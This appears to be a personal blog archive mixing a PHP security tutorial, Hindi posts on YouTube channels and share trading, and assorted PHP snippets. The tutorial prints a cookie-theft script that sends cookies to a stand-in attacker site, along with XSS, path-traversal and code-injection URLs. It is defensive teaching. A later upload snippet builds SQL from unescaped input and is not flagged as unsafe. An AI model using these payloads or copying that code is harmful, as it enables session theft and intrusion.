Search Google

Friday 13 November 2015

php security tutorial

 PHP SCRIPT

http://www.phpjunkyard.com/

http://www.hotscripts.com/category/scripts/php/scripts-programs/

https://www.phpjabbers.com/tutorials.php

http://www.thefreecountry.com/php/









This tutorial explains how hackers can use XSS (cross-site scripting) and code injection when your PHP code isn't properly secured. These are two of the most common vulnerabilities found in PHP scripts, and both of them are exploited by malicious input from users. Therefore it's important to remember never to thrust user's input.

XSS

XSS is a form of code injection by the user (attacker) into your webpage. XSS can happen anywhere where your website displays user generated data. If this data isn't validated or encoded, an attacker can input and run malicious code (usually javascript, but it can also be any other kind of script or html) on your visitor's webbrowsers. This code can, for example, access cookies and session tokens and forward this data to the attackers website. XSS attackers usually don't attack your website itself, but aim to attack your visitors. There are two types of XSS attacks. The non-persistent type is where an attacker doesn't actually alter the code of your page. The persistent type is when an attacker permanently changes the code of your page.

A classic example of non-persistent XSS vulnerability :

 
<html>
<?phpif  (isset($_GET["value"]))
{
echo "the value you entered : " $_GET["value"] ;
}?><br />
<br />
<a href="?value=<script src=http://test.codebase.eu/xss.js></script>" >Click here to test for XSS on your browser</a>
<html>
 
This simple example displays any value you provide it with. If you enter <h3>hello</h3> you will see 'hello' displayed. But the page also reads the html tags and therefore display 'hello' in a larger fontsize.
This is a harmless example of XSS. A more problematic example would be if the users starts entering javascript. For example :

phpfile.php?value=<script src=http://test.codebase.eu/xss.js> </script>

In this case xss.js is a script that posts a cookie to the attackers website:
alert ('Your cookie wil now be posted to the attackers website');
window.location='http://evil.website/cookie_stealer.php?cookie='+document.cookie;
Using the example above, an attacker can make a user go to yourwebsite.com/phpfile.php?value=<script src=http://test.codebase.eu/xss.js> </script> and it will redirect the users browser, stealing the users cookie in the process, to the attackers website.

An attacker does not necessarily need to post data. Sometimes it's enough for a global PHP variable to display information an attacker can affect:
 
<html>
<body>
<?phpecho "Page you requested : "  urldecode($_SERVER["REQUEST_URI"]);?><br />
<a href="?value=<SCRIPT SRC=http://test.codebase.eu/xss.js></SCRIPT>"> Click here to test for XSS on your browser</a>
</body>
</html>
 
Using the phpfile above an URL request like phpfile.php?<script>alert(document.cookie);</script> would give an attacker the possibility to execute scripts.

Some browsers (Chrome,Safari and IE) have build in protection against non-persistent XSS attacks (firefox doesn't at the time of writing this). However, it isn't wise to rely on the users browsers to deal with XSS attacks on your website. Some users may use older browsers that don't have an XSS filter or use browsers where the XSS filter doesn't work properly. Also attackers are constantly trying to find ways to bypass XSS filters and often succeed. Furthermore, the filters don't work for persistent XSS attacks.

Persistent XSS attacks

An example of a persistent xss vulnerable code :
 
<?phpif(isset($_GET["message"]))
{$fp fopen('data.txt''w');fwrite($fp$_GET["message"]);fclose($fp);
}?><form action="" method="get">
Add to the guestbook: <input type="text" name="message" size="60" value="<script src=http://test.codebase.eu/xss.js> </script>"  />
<input type="submit" />
</form>
<br />

Guest book data :
<?php include('data.txt');?>

An attacker could now add any javascript code into the guestbook and every visitor that visits the page will run it. This kind of XSS attack is more dangerous and not detectable by browsers.

Note that the example above is not only vulnerable to XSS attacks, but also to the much more dangerous PHP code injection (see below for more information on that subject).

How to prevent XSS attacks

There are good functions available in PHP to clean user input:

Strip_tags

this function strips all '<' and '>' characters from a string.
Remeber that only removing certain tags won't help you much if you allow users to modify tag atributes.
For example displaying an image in a PHP file :

<img src="<php echo $user_uploaded_image ; ?>" >

Altering $user_uploaded_image to image1.jpg" onClick="alert('Hello!'); will result in the HTML of that page looking like:

<img src="image1.jpg" onClick="alert('Hello!');" >

Htmlspecialchars and htmlentities

An other PHP function you can use to prevent XSS attacks is htmlspecialchars. This function will translate the input and convert characters like & and < into &amp; and &lt; preventing your browser reading those characters as code. You should use this function when you want your users to be able to post tags on your pages. The htmlentities is identical to htmlspecialchars, except ALL characters which can be converted into HTML character entities are converted. I recommend using one of these two functions for input cleaning.

Probably the most secure way would be allowing only characters a-Z and 0-9 or filtering out any other unwanted characters. This can be done using the preg_match and preg_replace functions.

Securing cookies

If you have sensetive data in plain text in your cookie, it would be a good idea to encrypt it. An other way to secure your cookies is using the httponly flag (available since PHP 5.2.0). If you set this flag, client side scripts like javascript cannot access the cookie. To set a httponly-cookie use for example :
setcookie("cookiename", "value", NULL, NULL, NULL, NULL,TRUE);

Code injection

Code injection happens when an attacker manages to make the server execute PHP code he or she injected. This poses a much bigger security thread than XSS does.

You've already seen an example of code that is vulnerable to code injection in the guestbook example above. If, for example, you would add an entry to the guestbook looking like <?php phpinfo(); ?> , anybody can run any PHP code on your server.

File inclusion

Giving users the ability to provide input for an include or require function is always dangerous (specially if you allow remote file inclusions). Look at the following example:

<?php
   $language $_GET['language'] ;
   include( $language );?>

This function is supposed to include a language file e.g. english.php or dutch.php, but the user can provide input like: ../../../../../../../../etc/passwd and read your passwd file or any file that is readable by your webserver on your server.

Writing to files

If you allow users to write to a file that is included in a PHP page you should always remeber to check the input. You might think that the following PHP code looks okay:

<?php
$fp fopen("file.ext""w");

    $userdata=$_GET['user_input'];
      fwrite($fp"<?php \$usr='$userdata'; ?>");          
      fclose($fp);

include ('file.ext');
echo "the user data is : $usr";
?>

As expected a user can input "hello" and the user data will be just hello. An attacker can make an URL like this :
phpfile.php?user_input=hello'%20;%20phpinfo()%20;%20$dummyvar='foobar and $userdata will still be "hello" , but also phpinfo(); is executed (to make the PHP code execute correctly, %20$dummyvar='foobar is added).

Dangerous functions

Code injection can also happen if you allow user input to be processed by other php functions. A couple of examples:

<?php
highlight_file ($_GET['arg3'])passthru("echo " $_GET['arg2']);$myvar 'some_value';$x $_GET['arg'];
eval('$myvar = ' $x ';');?>

An attacker could craft an URL like this:
phpfile.php?arg=phpinfo();&arg2=hello ;ls /etc&arg3=phpfile.php
and the result will be the page showing a) the source code of itself, b) a directory listing, c) information about your PHP installation.

I can't guarantee your PHP code will be hacker safe if you read and understood this tutorial, because only the most common security problems where handled in this tutorial, but it should at least make your PHP code a little safer.

If you want to know whether your PHP installation and php.ini settings are safe, take a look here.

Wednesday 11 November 2015

Youtube money

Kaise Yoiutube par Multiple Channel Banaye Ek Email Id se

New Channel Banane ke liye –
Step 1. Google ke Account me Sign in kare.
Step 2. Ab Youtube Channel Switcher me jaye.
Step 3. Create a new channel ki button par click kare. (Note: Agar Aapka Phele se Google+ Page hai or aap ussi naam se Channel banana chate hai to aap uske naam par click karke bhi bana sakte hai, wo aapko list me dikh jayega.)
Channel Switcher par ja kar creater new channel par click kare
Step 4. Ab ek form aayega
channel ka naam or uski detaial dale create karne ke liye
  1. Channel ka Naam Dale
  2. Category select kare channel ki
  3. Term ko pad kar tik kare.
  4. Finished ki button par click kare.
jese hi finished karege aapki New Youtube Channel Ban jayegi
youtube ka channel create ho chuka hai.
Ab aapki Channel to Ban Chuki hai,
To ab aapko agar ek se jada channel chalani hai to aapko alag-alag email id or bar bar login karne ki jarurat nahi hai.. Aap Simple Channel Switcher me ja kar apni dusri Channel Select karke usko use kar sakte hai.
Youtube ke bare me ham or bhi bhut si jaakari aage janege, taki  ham Apni Channel ko or bhatar bana kar badiya paise kama sake.
Kuch or jaruri jaankari Youtube ke bare me –
Agar aapka koi sabal hai to aap comment me puch sakte hai..

Saturday 24 October 2015

session best example

<?php
session_start();

if(!isset($_SESSION['userID']) || (trim($_SESSION['userID']) == '')){
    header('location:index.php');
    exit();
}

$session_id = $_SESSION['userID'];
$session_id = $_SESSION['username'];


?>
$_SESSION :-   userID and username is a DATABASE NAME  as shown in dig



https://www.google.co.in/search?q=session+best+example#q=session+best+example+php 

https://codeforgeek.com/2014/08/session-handling-php/ 


Friday 25 September 2015

Share market knowledge

Hello guys .. I had found this artical very useful . This article is in hindi . Just read and understand it . It reveals the Dark side of Market.

A must for nerd trader:


----------------------------------------------------------------------------------------------------------------------------------------------------
Sab ke Sab Chor hai.........


Quote:
Is Bazar me sab chor baithe huye hai ... ab yeh aap par nirbhar karta hai ki aap kitna bach paate hai... mai bhee share baazaar me nivesh/trade karta hoon... in sab choro se bachne kaa sabse achha tareeka yah hai ki aap unse apane trade sambandhit saari jaankari le bhale hi iski jaroorat aapko ho yaa naa ho... aur yadi ve koi jankari dene me aaana- kaani kare to in logoko RTI ki dhamaki de ... itne me to yah log raste par aa jaate hai...
shuruvaat me account kholne ke baad inka vyavhaar badal jaataa hai, aap sab ne mahsoos kiyaa hoga to aap apna bhee vyvhaar badal de, hamesha in se jara Rude hokar baate kare....
lekin account kholane ke pahle aap kuchh baate sunishchit kar le....
1. kabhi bhi DIAL & TRADE jaisi koi suvidhaa ke chakkar me naa pade ( agar aap TRADER ho to )

2. kam Brokerage hamesha suvidhaajanak nahee hoti...

3. in logo se T+1,2,3,4,5 , MARGIN aur M2M ke matlab pooch aur samajh le...

4. kabhi bhi jara si bhi dikkat ho to inke Branch/Area/ Regional/Zonal Head ke pass jaakar use Hadkane me jara bhee deri nahi kare( jab yeh log aapse beimaani karne me nahi darte hai to aap apane paise ke liye ladne me bhi naa dare " fir is baat ka koi farak nahee padhta hai ki yeh HARD EARNED MONEY yaa EASY EARNED MONEY " aakhirkaar yah aapki hi hai.....

5. yadi aap Online Trading kare to DIET ODIN jaisa hi koi software le... aapake broadband par yah VSAT ki tulna me keval 1/3 seconds ki deri se hi utaar- chadaav ( fluctuation) dikhataa hai ... jabaki koi doosri Browser Based application 2-3 seconds se lekar 5 minutes tak ki deri karti hai .... bhale hi woh ICICI Direct , Relaince Money ka INSTATRADE, Kotat kaa KEAT ho yaa fir Angel walo ka ANGEL TRADE ....

Vaise yah jo DIETODIN software hai yah wahi soft ware hai jo aap kisi bhi Broker ki Screen par Lal Neele utar chadavo ke sath dekhte hai... meri jaankaare ke anusaar abhi keval Angel Broking waale hi yah software de rahe hai par isake liye 2-3 hajaar / mahine ki kam se kam brokerage ki maang karte hai ...

6. kabhee bhee in logo ke BTST calls par dhyan naa de... yah sirf Brokerage Banane ki chaal hoti hai ....

7. FINALLY & MOST IMPORTANTLY , BUSINESS NEWS channel sabase bade chor hai, in Business News Channels par recommend kiye gaye Stocks par kabhi bhi apna paisa naa lagaye .... yah �aksar� keval unhi counters ki baate karte hai jo ki chal chuke hote hai... inki baat sunkar aap keval oopari staro par apna paisa fansa sakte hai aur kuchh nahi kar sakte hai...

PAISA KAMANE KAA SABASE SAHI TARIKA :-
Jab bhi koi Counter jaise Relaince , L& T , BHEL, ONGC, GAIL ,RCOM yaa aapaki pasand kaa koi bhi Counter jaise ki meri pasand NTPC , DLF, SAIL aur TTML hai ..... 3 se 10 % tak Correct ho jaave to us par apne paas uplabdh kul 40% pasia hi lagaye, aur yadi aapaka share 10% aur neeche aata hai to 35 % paisa aur lagaye... aur intzaar kare ... aap kabhi bhi ghata nahi kaatenge...

PAISA NAA GAVANE KAA SABASE SAHI TARIKA :-
aap yadi F& O me Trade karna chahate hai to kabhi bhi haa kabhi bhi kisi bhi Position ko carry naa kare bhale hi woh ASHOK LEYLAND hi kyu naa ho ( Jiska Span Margin 55 000 se 65000 hi hai) JAB TAK KI AAPKE ACCOUNT ME 5 LAKH Rs naa ho ... baat badi ajeeb lagati hai lekin mera Ganit to yahi kahta hai... aur Cash Market me bhi Nivesh aur Trade karte samay ho sake to KAM se KAM 1 lakh Rs. se Nivesh /Trade kare...
kyuki har jagah ki tarah yaha bhi SAARI BADI MACHHLIYA CHOTI MACHHLIYO PAR HI PALTI HAI....

PS: ho sake to kisi Retail Niveshak/ traders ke samooh ke sadasya ban jaaye jisase aapka partyaksh sampark ho... aur har 3-4 din me SEBI ki website par jaate rahe ( bhale hi yah kitni hi dheemi khule)

Monday 14 September 2015

Multidimensional Arrays

Multidimensional Arrays

 http://php.net/manual/en/control-structures.foreach.php

 http://www.informit.com/articles/article.aspx?p=31840&seqNum=4

 

Laymens terms:

A recursive function is a function that calls itself

A bit more in depth:

If the function keeps calling itself, how does it know when to stop? You set up a condition, known as a base case. Base cases tell our recursive call when to stop, otherwise it will loop infinitely.
What was a good learning example for me, since I have a strong background in math, was factorial. By the comments below, it seems the factorial function may be a bit too much, I'll leave it here just in case you wanted it.

function fact($n)

  { if ($n === 0)  

{ // our base case return 1; } 

 else { return $n * fact($n-1); // <--calling itself. } }

In regards to using recursive functions in web development, I do not personally resort to using recursive calls. Not that I would consider it bad practice to rely on recursion, but they shouldn't be your first option. They can be deadly if not used properly.

 

Arrays do not have to be a simple list of keys and values—each location in the array can hold another array. This way, we can create a two-dimensional array. You can think of a two dimensional array as a matrix, or grid, with width and height or rows and columns.
If we want to store more than one piece of data about each of Bob's products, we could use a two-dimensional array.
Figure 3.3 shows Bob's products represented as a two-dimensional array with each row representing an individual product and each column representing a stored product attribute.
Figure 3.3Figure 3.3 We can store more information about Bob's products in a two- dimensional array.
Using PHP, we would write the following code to set up the data in the array shown in Figure 3.3.
$products = array( array( 'TIR', 'Tires', 100 ),
          array( 'OIL', 'Oil', 10 ),
          array( 'SPK', 'Spark Plugs', 4 ) );
You can see from this definition that our products array now contains three arrays.
To access the data in a one-dimensional array, recall that we need the name of the array and the index of the element. A two-dimensional array is similar, except that each element has two indices—a row and a column. (The top row is row 0 and the far left column is column 0.)
To display the contents of this array, we could manually access each element in order like this:
echo '|'.$products[0][0].'|'.$products[0][1].'|'.$products[0][2].'|<br />';
echo '|'.$products[1][0].'|'.$products[1][1].'|'.$products[1][2].'|<br />';
echo '|'.$products[2][0].'|'.$products[2][1].'|'.$products[2][2].'|<br />';
Alternatively, we could place a for loop inside another for loop to achieve the same result.
for ( $row = 0; $row < 3; $row++ )
{
 for ( $column = 0; $column < 3; $column++ )
 {
  echo '|'.$products[$row][$column];
 }
 echo '|<br />';
}
Both versions of this code produce the same output in the browser:
|TIR|Tires      |100|
|OIL|Oil        |10 |
|SPK|Spark Plugs|4  |
The only difference between the two examples is that your code will be shorter if you use the second version with a large array.
You might prefer to create column names instead of numbers as shown in Figure 3.3. To do this, you can use associative arrays. To store the same set of products, with the columns named as they are in Figure 3.3, you would use the following code:
$products = array( array( Code => 'TIR', 
             Description => 'Tires', 
             Price => 100 
            ),
          array( Code => 'OIL', 
             Description => 'Oil', 
             Price => 10 
            ),
          array( Code => 'SPK', 
             Description => 'Spark Plugs', 
             Price =>4 
            ) 
         );
This array is easier to work with if you want to retrieve a single value. It is easier to remember that the description is stored in the Description column than to remember that it is stored in column 1. Using associative arrays, you do not need to remember that an item is stored at [x][y]. You can easily find your data by referring to a location with meaningful row and column names.
We do however lose the ability to use a simple for loop to step through each column in turn. Here is one way to write code to display this array:
for ( $row = 0; $row < 3; $row++ )
{
 echo '|'.$products[$row]['Code'].'|'.$products[$row]['Description'].
    '|'.$products[$row]['Price'].'|<br />';
}
Using a for loop, we can step through the outer, numerically indexed $products array. Each row in our $products array is an associative array. Using the each() and list() functions in a while loop, we can step through the associative arrays. Therefore, we need a while loop inside a for loop.
for ( $row = 0; $row < 3; $row++ )
{
 while ( list( $key, $value ) = each( $products[ $row ] ) )
 {
  echo "|$value";
 }
 echo '|<br />';
}
We do not need to stop at two dimensions—in the same way that array elements can hold new arrays, those new arrays in turn can hold more arrays.
A three-dimensional array has height, width, and depth. If you are comfortable thinking of a two-dimensional array as a table with rows and columns, imagine a pile or deck of those tables. Each element will be referenced by its layer, row, and column.
If Bob divided his products into categories, we could use a three-dimensional array to store them. Figure 3.4 shows Bob's products in a three-dimensional array.
Figure 3.4Figure 3.4 This three-dimensional array allows us to divide products into categories.
From the code that defines this array, you can see that a three-dimensional array is an array containing arrays of arrays.
$categories = array( array ( array( 'CAR_TIR', 'Tires', 100 ),
               array( 'CAR_OIL', 'Oil', 10 ),
               array( 'CAR_SPK', 'Spark Plugs', 4 )
              ),
           array ( array( 'VAN_TIR', 'Tires', 120 ),
               array( 'VAN_OIL', 'Oil', 12 ),
               array( 'VAN_SPK', 'Spark Plugs', 5 )
              ),
           array ( array( 'TRK_TIR', 'Tires', 150 ),
               array( 'TRK_OIL', 'Oil', 15 ),
               array( 'TRK_SPK', 'Spark Plugs', 6 )
              )
          );
Because this array has only numeric indices, we can use nested for loops to display its contents.
for ( $layer = 0; $layer < 3; $layer++ )
{
 echo "Layer $layer<br />";
 for ( $row = 0; $row < 3; $row++ )
 {
  for ( $column = 0; $column < 3; $column++ )
  {
   echo '|'.$categories[$layer][$row][$column];
  }
  echo '|<br />';
 }
}
Because of the way multidim


Friday 4 September 2015

PHP LOGIC PROGRAMMING





multidimensional 

<?php 
//Initialize the array using the array() function.
$flower_shop = array( 
"rose" => array( "5.00", "7 items", "red" ), 
"daisy" => array( "4.00", "3 items", "blue" ), 
"orchid" => array( "2.00", "1 item", "white" ), 
); 

//print "rose costs 5.00, and you get 7 items." 
echo "rose costs ".$flower_shop['rose'][0].", and you get ".$flower_shop['rose'][1]."."; 
//print "daisy costs 4.00, and you get 3 items." 
echo "daisy costs ".$flower_shop['daisy'][0].", and you get ".$flower_shop['daisy'][1]."."
//print "orchild costs 2.00, and you get 1 item. 
echo "orchid costs ".$flower_shop['orchid'][0].", and you get ".$flower_shop['orchild'][1]."."; 
?>

Friday 7 August 2015

Advance PHP TUTORIAL MULTI–DIMENSIONAL ARRAYS

http://javascript.info/tutorial/browser-window-properties-and-methods

 

Example JS http://www.tutorialspoint.com/javascript/javascript_objects.htm

Try the following example.
<html>
   <head>
   <title>User-defined objects</title>
   
      <script type="text/javascript">
         // Define a function which will work as a method
         function addPrice(amount){
            with(this){
               price = amount;
            }
         }
         
         function book(title, author){
            this.title = title;
            this.author  = author;
            this.price = 0;
            this.addPrice = addPrice; // Assign that method as property.
         }
      </script>
      
   </head>
   <body>
   
      <script type="text/javascript">
         var myBook = new book("Perl", "Mohtashim");
         myBook.addPrice(100);
         
         document.write("Book title is : " + myBook.title + "<br>");
         document.write("Book author is : " + myBook.author + "<br>");
         document.write("Book price is : " + myBook.price + "<br>");
      </script>
      
   </body>
</html>
Output
Book title is : Perl 
Book author is : Mohtashim 
Book price is : 100

 

http://www.plus2net.com/html_tutorial/button-linking.php

Passing Arguments by Reference

It is possible to pass arguments to functions by reference. This means that a reference to the variable is manipulated by the function rather than a copy of the variable's value.
Any changes made to an argument in these cases will change the value of the original variable. You can pass an argument by reference by adding an ampersand to the variable name in either the function call or the function definition.
Following example depicts both the cases.
<html>
<head>
<title>Passing Argument by Reference</title>
</head>
<body>
<?php
function addFive($num)
{
   $num += 5;
}

function addSix(&$num)
{
   $num += 6;
}
$orignum = 10;
addFive( $orignum );
echo "Original Value is $orignum<br />";
addSix( $orignum );
echo "Original Value is $orignum<br />";
?>
</body>
</html>
This will display following result:
Original Value is 10
Original Value is 16 

When do we pass arguments by reference or pointer?

In C++, variables are passed by reference due to following reasons:
1) To modify local variables of the caller function: A reference (or pointer) allows called function to modify a local variable of the caller function. For example, consider the following example program where fun() is able to modify local variable of main().
void fun(int &x) {
    x = 20;
}
int main() {
    int x = 10;
    fun(x);
    cout<<"New value of x is "<<x;
    return 0;
}
Output:
New value of x is 20

PHP Functions retruning value

A function can return a value using the return statement in conjunction with a value or object. return stops the execution of the function and sends the value back to the calling code.
You can return more than one value from a function using return array(1,2,3,4).
Following example takes two integer parameters and add them together and then returns their sum to the calling program. Note that return keyword is used to return a value from a function.
<html>
<head>
<title>Writing PHP Function which returns value</title>
</head>
<body>

<?php
function addFunction($num1, $num2)
{
  $sum = $num1 + $num2;
  return $sum;
}
$return_value = addFunction(10, 20);
echo "Returned value from the function : $return_value";
?>
</body>
</html>
This will display following result:
Returned value from the function : 30








 http://www.trans4mind.com/search
......................................................................................................
In javascript, you can use either single (') or double (") quotes and they behave the same. In php, it is different. Double quotes and single quotes aren't exactly the same.
$something="Oh something";

echo "My answer is $something.<br>";

//result is: My answer is Oh something
In the above, using double quotes, the variable $something is evaluated within the quotes and the result isn't what is expected: the variable is evaluated to Oh something. Variables, but not functions or constants, are evaluated even when enclosed in double quotes.
echo 'My answer is $something.<br>';

//result is: My answer is $something.
When single quotes are used, as above, the variable isn't evaluated and is printed on the screen literally as $something.

Escaping with the backslash \

The backslash character (\) can be used to escape quotes and variables. The next example repeats the idea that things are evaluated within double quotes:
$something="Oh something!";

echo "My answer is $something";

//result: My answer is Oh something!

So nothing new here, just a reminder. Next we use the backslash to escape the variable $something and also the double quotes around "is":

echo "<br>";
echo "My answer \"is\" \$something";

//result: My answer "is" $something
 ======================================
mysql_fetch_row ::Return row as aan enumrated array and each line contain a unique ID .example.
$result=mysql_query($query);
while($row=mysql_fetch_row($result))
{
print "$row[0]";
print "$row[1]";
print "$row[2]";
}

mysql_fetch_array ::Return row as anassociative or an enumrated array or both which is default .you can refer to outputs as databases fieldname rather then number .example.
$result=mysql_query($query);
while($row=mysql_fetch_array($result))
{
print "$row['name']";
print "$row['address']";
print "$row['city']";
}

mysql_fetch_object  :: it return as an object on the place of array.

$result=mysql_query($query);
while($row=mysql_fetch_object($result))
{
print "$row->name";
print "$row->address";
print "$row->city";









 .............................................................................................................................................
form.php
PHP Code:
<input type="file" name="image[]">
<
input type="file" name="image[]">  
// array image[] is called as $_FILES['image']
output.php
PHP Code:
// array image[] is called as $_FILES['image']
if(!empty($_FILES['image']['name'])){
    foreach(
$_FILES['image']['name'] as $k => $v){
        print 
'$_FILES["image"]["name"]["'.$k.'"] = '.$v;
    }
}  


o/p



PHP Code:
Array
(
    [
image] => Array
        (
            [
name] => Array
                (
                    [
0] => 
                    [
1] => 
                )

            [
type] => Array
                (
                    [
0] => 
                    [
1] => 
                )

            [
tmp_name] => Array
                (
                    [
0] => 
                    [
1] => 
                )

            [
error] => Array
                (
                    [
0] => 4
                    
[1] => 4
                
)

            [
size] => Array
                (
                    [
0] => 0
                    
[1] => 0
                
)

        )



=======================================================

Multiple File Upload with PHP and MySQL


<?php
if(isset($_FILES['files'])){
    $errors= array();
 foreach($_FILES['files']['tmp_name'] as $key => $tmp_name ){
  $file_name = $key.$_FILES['files']['name'][$key];
  $file_size =$_FILES['files']['size'][$key];
  $file_tmp =$_FILES['files']['tmp_name'][$key];
  $file_type=$_FILES['files']['type'][$key]; 
        if($file_size > 2097152){
   $errors[]='File size must be less than 2 MB';
        }  
        $query="INSERT into upload_data (`USER_ID`,`FILE_NAME`,`FILE_SIZE`,`FILE_TYPE`) VALUES('$user_id','$file_name','$file_size','$file_type'); ";
        $desired_dir="user_data";
        if(empty($errors)==true){
            if(is_dir($desired_dir)==false){
                mkdir("$desired_dir", 0700);  // Create directory if it does not exist
            }
            if(is_dir("$desired_dir/".$file_name)==false){
                move_uploaded_file($file_tmp,"user_data/".$file_name);
            }else{         //rename the file if another one exist
                $new_dir="user_data/".$file_name.time();
                 rename($file_tmp,$new_dir) ;    
            }
            mysql_query($query);   
        }else{
                print_r($errors);
        }
    }
 if(empty($error)){
  echo "Success";
 }
}
?>


<form action="" method="POST" enctype="multipart/form-data">
 <input type="file" name="files[]" multiple="" />
 <input type="submit"/>
</form>

















------------------------------------------------------------------------------------------

http://forum.codecall.net/forum/158-php-tutorials/ BEST PHP TUTS

https://www.google.co.in/search?q=php+logical+problems 

MULTI–DIMENSIONAL ARRAYS

Please note that the material on this website is not intended to be exhaustive.
This is intended as a summary and supplementary material.
A 2 dimensional array consists of rows and columns.

Figure 082:   Two-dimensional Array
Although we think of a 2 dimensional array as consisting of rows and columns, it is actually linearly stored by row.   This is an important piece of information that will come into play when passing arrays as parameters in functions.

Figure 083:   Two-dimensional Array Storage
3 dimensional array

Figure 084:   Three-dimensional Array
There are no review questions for this reading assignment.
$this

with $this you can call functions and variables of a class. It means this class or this document. In some programming language we call it me. Take a look at this code
class Example {
public $name = "papabear";
public $color;

function Sample() {
echo "This is an example";
}

function SayName() {
echo $this->name;
}

function saySample() {
$this->Sample();
}
}

$obj = new Example();
$obj->SayName();
echo "<br/>";
$obj->saySample();


output :

Quote
papabear
This is an example


to be more clear.. $this applies to a class that we are IN. here's another example

class Example {
   public $name = "papabear";
   public $color;

  function Sample() {
     echo "This is an example";
  }

  function SayName() {

     $name = "alleo";
     echo $this->name;

  }

  function saySample() {
    $this->Sample();
  }
}

$obj = new Example();
$obj->SayName();

Output :

papabear


Take a look at the


function SayName() {

$name = "alleo";
echo $this->name;

}

have you noticed the difference? You can't use a class property or variable if you didn't call them using $this

$name and $this->name is different from each other.. $name is a variable or a property or the function while the $this->name is a global variable/property, please don't be confused with that. I know it's confusing but please.. bare with me :)


That's all for today's tutorial.. Thanks for your time, if you have some questions and found some error in my tutorial please feel free to reply.. I'm still learning this things and wants to share what I've learned.. I'm posting tutorials to learn from critics also :) see ya soon

More Powers
Papabear

-------------------------------------------------------------------------





CodeIgniter

 

http://www.formget.com/product/seo-php-script/ 

http://www.formget.com/codeigniter-paypal-checkout/